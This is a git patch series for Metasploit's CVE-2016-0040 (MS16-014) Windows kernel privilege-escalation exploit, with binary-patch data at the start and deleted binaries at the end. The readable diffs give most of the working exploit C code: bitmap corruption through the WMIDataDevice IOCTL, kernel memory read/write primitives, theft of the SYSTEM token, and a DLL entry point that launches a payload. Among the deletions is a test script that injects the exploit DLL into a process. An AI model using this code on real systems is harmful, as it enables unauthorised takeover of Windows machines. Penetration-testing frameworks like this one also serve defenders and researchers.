z-L5-yRd?zx-K~3cukO?RdO#29VLhtH^thhTle(rGdR=emO}(YJ^^V@vdwO3V=t|a> zwPzh!HS5f}vhJ)W>&^PI{%jx{%7(MiY%CkkCbG$_mNl~VY$MyuwzBPPC(Dl^Wc%4c zR>|3N_M9W9=A1cx2rB2vd2_y;KNrY_a^YMw7t6(SiCi+L<&0cCS1&ip&9YLn*VLM` z=Bl}Co|?DjtNCl8TDTUi#cJ_dqL!>_wMMN~Yu7rpZmm~S+Qe1b%$M?~0;y1{o@%6; zsaC3;>ZH1TqSqOQ}UL4 zC4VVU3YEg8Xem~TmlCC9Nh=wpdZ|%rmRhBDsZ;8fdZm78P*Tdavc2pmt7T`|Rd$y> zWnbA}4wOUXa5-9zmE+|^Ia$`qM%lc!R=Hj7l)L3#xnCZXm5QxmuQ)1d#aVGx+!as7 zTk%!=l|Us_30I<(SS4ObRFV~~VpO=mF7LmLfd+ltp??P%8$Ii!SH1LTh~A9TlLo!m zq6d5Qo{gS!(raFNEJSa`=_!L=YSBYIddEi3IO!EHJrbff;`D@(YvfwFPOg_5GH%R^!!V)u=YAt!k&*s}8ERnuBrZW(@in zfl)?ZvStj&UWaiv;JsJr^O+6UG>7KY+?rSOYauPF#kHhnXbr8Ub+n!~&}=D3%9(Pf zyo}LMDw>L?k|~36+G33MQueA^byYo8Uo}t-S7X&gRjbyk&1$>at@f+td~h)re6;}c zAjTZfYV}%^8PKiusRf@AC8le3P1RhQNAqa`Ev&_~gr;eAt*N!OuGZI-ls%=UTq#e= z$24YIbkqH`Lab3Uu8b$+%LFpv zOpM5*5p|kGoG#HuA=0Qs84nRAKy--_Su~jF(QXX)Myeh zxa$zo>%j(yeIF=2lC;3ET710`Fg&YZ|A%D zeqJ%`hHAJBkKr={M%aiM2}3jLM$>2;U88R(1$#j)xC)+vuMjAN3$a3?pcU$cW}#i^ z7WxIHXfLWoSJ6}S6$8a^F;+|zwPL;4EVhf?VxL%HCr-GC5kBHWnAngYF4Tz$ZQ?k+f VV@4&IQyR0X&L_1(D@IO&5N! +#ifdef _DEBUG +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#define LOG +#endif //_DEBUG + INT main() { if (TriggerExploit() == FALSE) { - printf("[-] Exploitation Failed\n"); + LOG("[-] Exploitation Failed\n"); return -1; } - printf("[+] Exploitation Completed\n"); + LOG("[+] Exploitation Completed\n"); system("cmd.exe"); diff --git a/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj b/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj index 6a47fb1ee8..877b9fae0d 100644 --- a/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj +++ b/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj @@ -1,92 +1,102 @@ - - - - - Debug - x64 - - - Release - x64 - - - - - - - 15.0 - {81D011C1-F734-44D1-BE48-B16D643C99A7} - Win32Proj - Application - 10.0.15063.0 - - - - Application - true - v141 - Unicode - - - Application - false - v141 - true - Unicode - - - - - - - - - - - - - - - false - - - true - - - - Level3 - - - MaxSpeed - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - $(SolutionDir);%(AdditionalIncludeDirectories) - MultiThreaded - - - Console - true - true - $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) - - - - - - - Level3 - Disabled - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - $(SolutionDir);%(AdditionalIncludeDirectories) - MultiThreadedDebug - - - Console - $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) - - - - - + + + + + Debug + x64 + + + Release + x64 + + + + + + + 15.0 + {81D011C1-F734-44D1-BE48-B16D643C99A7} + Win32Proj + Application + 10.0.15063.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + false + + + true + + + + Level3 + + + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreaded + + + Console + true + true + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + +copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).exe + Copy EXE + + + + + + + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + Console + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + +copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).exe + Copy EXE + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2016-0040/Library/Library.c b/external/source/exploits/CVE-2016-0040/Library/Library.c old mode 100644 new mode 100755 index 336b8937cb..f46d3e0c78 --- a/external/source/exploits/CVE-2016-0040/Library/Library.c +++ b/external/source/exploits/CVE-2016-0040/Library/Library.c @@ -5,6 +5,12 @@ #include "Library.h" +#ifdef _DEBUG +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#define LOG +#endif //_DEBUG + #define BITS_PER_BYTE 8 #define TRIGGER_VULNERABILITY_RETRIES 1024 @@ -112,7 +118,7 @@ static BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap); if (bitmaps[i] == NULL) { - printf("[-] Unable To Create The Required Bitmaps\n"); + LOG("[-] Unable To Create The Required Bitmaps\n"); return FALSE; } @@ -140,7 +146,7 @@ static PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) { static BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) { if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) { - printf("[-] Unable To Set Destination Address: 0x%p\n", dest); + LOG("[-] Unable To Set Destination Address: 0x%p\n", dest); return FALSE; } @@ -150,7 +156,7 @@ static BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID static LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) { if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) { - printf("[-] Unable To Set Source Address: 0x%p\n", src); + LOG("[-] Unable To Set Source Address: 0x%p\n", src); return FALSE; } @@ -162,7 +168,7 @@ static PVOID GetNtOsKrnl(VOID) { DWORD needed = 0; if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) { - printf("[-] Unable To Enumerate Device Drivers: %d\n", needed); + LOG("[-] Unable To Enumerate Device Drivers: %d\n", needed); return NULL; } @@ -178,14 +184,14 @@ static PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) { loaded = LoadLibrary("ntoskrnl.exe"); if (loaded == NULL) { - printf("[-] Unable To Load NtOsKrnl.exe\n"); + LOG("[-] Unable To Load NtOsKrnl.exe\n"); return NULL; } address = GetProcAddress(loaded, "PsInitialSystemProcess"); if (address == NULL) { - printf("[-] Unable To Get PsInitialSystemProcess\n"); + LOG("[-] Unable To Get PsInitialSystemProcess\n"); return NULL; } @@ -194,12 +200,12 @@ static PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) { runtime = GetNtOsKrnl(); if (runtime == NULL) { - printf("[+] Unable To Get NtOsKrnl Runtime Address\n"); + LOG("[+] Unable To Get NtOsKrnl Runtime Address\n"); return NULL; } if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) { - printf("[-] Unable To Read PsInitialSystemProcess Address\n"); + LOG("[-] Unable To Read PsInitialSystemProcess Address\n"); return NULL; } @@ -216,7 +222,7 @@ static PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS systemProcess = GetPsInitialSystemProcess(hManager, hWorker); if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) { - printf("[-] Unable To Read Initial System Process ActiveProcessLinks\n"); + LOG("[-] Unable To Read Initial System Process ActiveProcessLinks\n"); return NULL; } @@ -231,7 +237,7 @@ static PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS } while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64))); - printf("[-] Unable To Locate The Current Process In The List\n"); + LOG("[-] Unable To Locate The Current Process In The List\n"); return NULL; } @@ -251,14 +257,14 @@ static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWork if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) { - printf("[-] Unable To Setup Manager And Worker Bitmaps\n"); + LOG("[-] Unable To Setup Manager And Worker Bitmaps\n"); return FALSE; } hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager); hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker); - printf("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n"); + LOG("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n"); for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)¬ification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; } @@ -268,13 +274,13 @@ static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWork for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; } - printf("[%%] pPeb: 0x%p\n", pPeb); - printf("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker); - printf("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress); + LOG("[%%] pPeb: 0x%p\n", pPeb); + LOG("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker); + LOG("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress); hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDriver == INVALID_HANDLE_VALUE) { - printf("[-] Unable To Open The WMIDataDevice\n"); + LOG("[-] Unable To Open The WMIDataDevice\n"); return FALSE; } @@ -285,7 +291,7 @@ static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWork NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers); if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, ¬ification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) { - printf("[-] Device IO Control Returned Failure\n"); + LOG("[-] Device IO Control Returned Failure\n"); return FALSE; } @@ -294,23 +300,23 @@ static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWork if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) { - printf("[-] Unable To Trigger The Vulnerability\n"); + LOG("[-] Unable To Trigger The Vulnerability\n"); return FALSE; } - printf("[+] Self-Referencing Pointer Placement Complete\n"); + LOG("[+] Self-Referencing Pointer Placement Complete\n"); pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1); pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET); SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers); - printf("[+] Stage 1 Cleanup Complete\n"); - printf("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n"); + LOG("[+] Stage 1 Cleanup Complete\n"); + LOG("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n"); pageFrameNumbers[0] = NULL; WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID)); - printf("[+] Stage 2 Cleanup Complete\n"); + LOG("[+] Stage 2 Cleanup Complete\n"); return TRUE; } @@ -324,32 +330,32 @@ static BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEP systemProcess = GetPsInitialSystemProcess(hManager, hWorker); if (systemProcess == NULL) { - printf("[-] Unable To Get The System Process\n"); + LOG("[-] Unable To Get The System Process\n"); return FALSE; } currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets); if (currentProcess == NULL) { - printf("[-] Unable To Get The Current Process\n"); + LOG("[-] Unable To Get The Current Process\n"); return FALSE; } - printf("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess); + LOG("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess); if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) { - printf("[-] Unable To Get The System Process Token\n"); + LOG("[-] Unable To Get The System Process Token\n"); return FALSE; } - printf("[%%] SystemToken: 0x%p\n", systemToken); + LOG("[%%] SystemToken: 0x%p\n", systemToken); if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) { - printf("[-] Unable To Set The Current Process Token\n"); + LOG("[-] Unable To Set The Current Process Token\n"); return FALSE; } - printf("[+] System Process Token Stolen\n"); + LOG("[+] System Process Token Stolen\n"); return TRUE; } @@ -360,30 +366,30 @@ BOOLEAN TriggerExploit(VOID) { HBITMAP hManager, hWorker; EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 }; - printf("\n"); + LOG("\n"); pPeb = GetCurrentPeb(); if (pPeb == NULL) { - printf("[-] Unable To Get The Current PEB\n"); + LOG("[-] Unable To Get The Current PEB\n"); return FALSE; } if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) { - printf("[-] Unable To Trigger Vulnerability\n"); + LOG("[-] Unable To Trigger Vulnerability\n"); return FALSE; } - printf("[+] Vulnerability Triggered\n"); + LOG("[+] Vulnerability Triggered\n"); - printf("[+] Bitmap Read/Write Primitives Now Available\n"); + LOG("[+] Bitmap Read/Write Primitives Now Available\n"); if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) { - printf("[-] Unable To Trigger Exploit\n"); + LOG("[-] Unable To Trigger Exploit\n"); return FALSE; } - printf("[+] Privilege Escalation Triggered\n\n"); + LOG("[+] Privilege Escalation Triggered\n\n"); return TRUE; } diff --git a/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj b/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj index 7fd785a4b9..b3673ebf06 100644 --- a/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj +++ b/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj @@ -1,87 +1,88 @@ - - - - - Debug - x64 - - - Release - x64 - - - - 15.0 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D} - CVE20160040 - 10.0.15063.0 - Library - - - - StaticLibrary - true - v141 - MultiByte - - - StaticLibrary - false - v141 - true - MultiByte - - - - - - - - - - - - - - - $(ProjectName) - - - $(ProjectName) - - - - Level3 - Disabled - true - MultiThreadedDebug - - - ntdll.lib;%(AdditionalDependencies) - - - - - Level3 - MaxSpeed - true - true - true - MultiThreaded - - - true - true - ntdll.lib;%(AdditionalDependencies) - - - - - - - - - - - + + + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D} + CVE20160040 + 10.0.15063.0 + Library + + + + StaticLibrary + true + v141 + MultiByte + + + StaticLibrary + false + v141 + true + MultiByte + + + + + + + + + + + + + + + $(ProjectName) + + + $(ProjectName) + + + + Level3 + Disabled + true + MultiThreadedDebug + _DEBUG;%(PreprocessorDefinitions) + + + ntdll.lib;%(AdditionalDependencies) + + + + + Level3 + MaxSpeed + true + true + true + MultiThreaded + + + true + true + ntdll.lib;%(AdditionalDependencies) + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c old mode 100644 new mode 100755 index bdea8a08b7..e82679002e --- a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c +++ b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c @@ -27,6 +27,13 @@ //===============================================================================================// #include "Metasploit.h" //===============================================================================================// + +#ifdef _DEBUG +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#define LOG +#endif //_DEBUG + // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value HINSTANCE hAppInstance = NULL; //===============================================================================================// @@ -496,14 +503,14 @@ BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; if (TriggerExploit() == TRUE) { - printf("[+] Exploitation Completed\n"); + LOG("[+] Exploitation Completed\n"); if (lpReserved != NULL) { - printf("[+] Launching Payload\n"); + LOG("[+] Launching Payload\n"); CreateThread(0, 0, &ExecutePayload, lpReserved, 0, NULL); } } else { - printf("[-] Exploitation Failed\n"); + LOG("[-] Exploitation Failed\n"); } break; diff --git a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj index c205e46ce9..3ae3140634 100644 --- a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj +++ b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj @@ -1,103 +1,99 @@ - - - - - Debug - x64 - - - Release - x64 - - - - 15.0 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF} - Metasploit - 10.0.15063.0 - - - - DynamicLibrary - true - v141 - MultiByte - - - DynamicLibrary - false - v141 - true - MultiByte - - - - - - - - - - - - - - - - - Level3 - MaxSpeed - true - true - true - WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) - $(SolutionDir);%(AdditionalIncludeDirectories) - MultiThreaded - - - true - true - $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) - - - xcopy /y $(SolutionDir)$(ProjectName)\inject.exe $(SolutionDir)$(Platform)\$(Configuration)\ -xcopy /y $(SolutionDir)$(ProjectName)\module.rb $(SolutionDir)$(Platform)\$(Configuration)\ -xcopy /y $(SolutionDir)$(ProjectName)\install.sh $(SolutionDir)$(Platform)\$(Configuration)\ -xcopy /y $(SolutionDir)$(ProjectName)\uninstall.sh $(SolutionDir)$(Platform)\$(Configuration)\ - - - Copy Executable And Module - - - - - Level3 - Disabled - true - WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) - $(SolutionDir);%(AdditionalIncludeDirectories) - MultiThreadedDebug - - - $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) - - - xcopy /y $(SolutionDir)$(ProjectName)\inject.exe $(SolutionDir)$(Platform)\$(Configuration)\ -xcopy /y $(SolutionDir)$(ProjectName)\module.rb $(SolutionDir)$(Platform)\$(Configuration)\ -xcopy /y $(SolutionDir)$(ProjectName)\install.sh $(SolutionDir)$(Platform)\$(Configuration)\ -xcopy /y $(SolutionDir)$(ProjectName)\uninstall.sh $(SolutionDir)$(Platform)\$(Configuration)\ - - - Copy Executable And Module - - - - - - - - - - - + + + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF} + Metasploit + 10.0.15063.0 + + + + DynamicLibrary + true + v141 + MultiByte + + + DynamicLibrary + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + Level3 + MaxSpeed + true + true + true + WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreaded + + + true + true + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + +copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).dll $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).dll + + + Copy DLL + + + + + Level3 + Disabled + true + _DEBUG;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + +copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).dll $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).dll + + + Copy DLL + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2016-0040/Test.py b/external/source/exploits/CVE-2016-0040/Test.py deleted file mode 100644 index ac6fe74b40..0000000000 --- a/external/source/exploits/CVE-2016-0040/Test.py +++ /dev/null @@ -1,59 +0,0 @@ -import os -import sys -import psutil -import time -import multiprocessing -import unittest -import xmlrunner - -Artifacts = "" - -def Worker(): - - while True: - time.sleep(64) - - return - -class TestMetasploit(unittest.TestCase): - - def setUp(self): - - self.worker = multiprocessing.Process(name="Worker", target=Worker) - self.worker.start() - - return - - def tearDown(self): - - self.worker.terminate() - - return - - def testMetasploit(self): - - process = psutil.Process(self.worker.pid) - process.username() - - print("{0}\\inject.exe {1} {0}\\Metasploit.dll".format(Artifacts, self.worker.pid)) - os.system("{0}\\inject.exe {1} {0}\\Metasploit.dll".format(Artifacts, self.worker.pid)) - - self.assertRaises(psutil.AccessDenied, process.username) - - return - -if __name__ == "__main__": - - if len(sys.argv) != 2: - print("{} {Absolute Path To Artifacts Directory}") - sys.exit(-1) - - print("{} {}".format(sys.argv[0], sys.argv[1])) - - Artifacts = sys.argv[1] - - with open("{}\\Results.xml".format(Artifacts), "wb") as file: - unittest.main(argv=[sys.argv[0]], testRunner=xmlrunner.XMLTestRunner(output=file), - failfast=False, buffer=False, catchbreak=False) - - sys.exit(0) \ No newline at end of file diff --git a/external/source/exploits/CVE-2016-0040/requirements.txt b/external/source/exploits/CVE-2016-0040/requirements.txt deleted file mode 100644 index 00d26d54a3..0000000000 --- a/external/source/exploits/CVE-2016-0040/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -psutil -unittest-xml-reporting \ No newline at end of file diff --git a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb index acfb4a415d..242ec791a5 100644 --- a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb +++ b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb @@ -100,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Local end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'cve-2016-0040.x64.dll') + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll') library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") From d7cfe419839e731f06d1855748c6c3fab7978bc9 Mon Sep 17 00:00:00 2001 From: Kirk Swidowski Date: Wed, 7 Mar 2018 08:20:22 -0800 Subject: [PATCH 07/16] removed files. --- .../CVE-2016-0040/Metasploit/inject.exe | Bin 75264 -> 0 bytes .../exploits/CVE-2016-0040/cve-2016-0040.dll | Bin 116224 -> 0 bytes 2 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 external/source/exploits/CVE-2016-0040/Metasploit/inject.exe delete mode 100755 external/source/exploits/CVE-2016-0040/cve-2016-0040.dll diff --git a/external/source/exploits/CVE-2016-0040/Metasploit/inject.exe b/external/source/exploits/CVE-2016-0040/Metasploit/inject.exe deleted file mode 100644 index 2ad745e035f50e4bbb7125622f5b9a4721dcf2fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 75264 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 